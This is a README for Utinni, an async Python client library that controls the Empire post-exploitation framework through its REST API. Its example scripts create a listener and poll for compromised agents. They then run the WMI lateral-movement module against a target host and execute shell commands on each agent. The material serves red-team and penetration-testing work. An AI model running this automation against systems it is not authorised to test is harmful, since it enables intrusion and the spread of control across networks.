This is a fork. The original repository can be found here

Utinni

An async Python client library for Empire's RESTful API

(Only works with the BC-Security Empire fork)

Sponsors

Table of Contents

• Utinni
  • Installing
  • Examples
  • FAQ

Installing

Via Pip:

• pip3 install utinni

Docker image:

• docker pull byt3bl33d3r/utinni

Examples

See the examples folder for more.

Simple example showing basic usage:

import asyncio
from utinni import EmpireApiClient

async def main():
    # Create client instance
    empire = EmpireApiClient(host="localhost", port="1337")

    # Login to Empire's RESTful API
    await empire.login("username", "password")
    print("* Logged into Empire")

    # Create a listener
    await empire.listeners.create(listener_type="http", name="Utinni", additional={"Port": 8443})

    print("* Waiting for agents...")
    while True:
        # Poll for new agents every 1 sec
        for agent in await empire.agents.get():

            #Print some basic info on the new agent
            print(f"+ New agent '{agent.name}' connected: {agent.domain}\\{agent.username}")

            # Execute a module on the agent
            module_output = await agent.execute(
                    "powershell/lateral_movement/invoke_wmi",
                    options={
                        "ComputerName": "targethost",
                        "Listener": "Utinni",
                    },
                )

            print(f"++ Executed invoke_wmi module on agent '{agent.name}'")
            print(f"++ Module output: {module_output}")

        await asyncio.sleep(1)

# Start the event loop
asyncio.run(main())

Example with background tasks:

import asyncio
from utinni import EmpireApiClient

async def agent_poller(empire):
    # Poll for new agents every 1 sec
    print("* Waiting for agents...")
    while True:
        for agent in await empire.agents.get():
            #Print some basic info on the new agent
            print(f"+ New agent '{agent.name}' connected: {agent.domain}\\{agent.username}")

            # Do whatever you want with the agent object here and it won't block the main thread
            # In this example executing we're executing a shell command
            cmd_output = await agent.shell("dir")

            print("++ Executed shell command")
            print(f"++ Output: {cmd_output}")

        await asyncio.sleep(1)

async def main():
    # Create client instance
    empire = EmpireApiClient(host="localhost", port="1337")

    # Login to Empire's RESTful API
    await empire.login("username", "password")
    print("* Logged into Empire")

    # Create a listener
    await empire.listeners.create(listener_type="http", name="Utinni", additional={"Port": 8443})

    # Start the 'agent_poller' coroutine as a background task 
    agent_poller_task = asyncio.create_task(agent_poller(empire))

    # Do more stuff here as this thread isn't blocked.
    available_empire_modules = await empire.modules.get()

    # Wait for the agent_poller_task to complete
    # in this example it won't ever finish since it's in a infinite loop.
    await agent_poller_task

# Start the event loop
asyncio.run(main())

FAQ

1. Why?

This was originally made for the DeathStar project, the author then realized it would be useful as a stand-alone library.

2. Why doesn't this library provide a sync API?

Cause it doesn't make sense. In 99% of all use cases you're going to want to call/execute/query/do multiple things at the same time. This is legitimately the perfect use case of AsyncIO.

3. Will this work with the original Empire repository and not the BC-Security Fork?

Probably not. You're welcome to try though.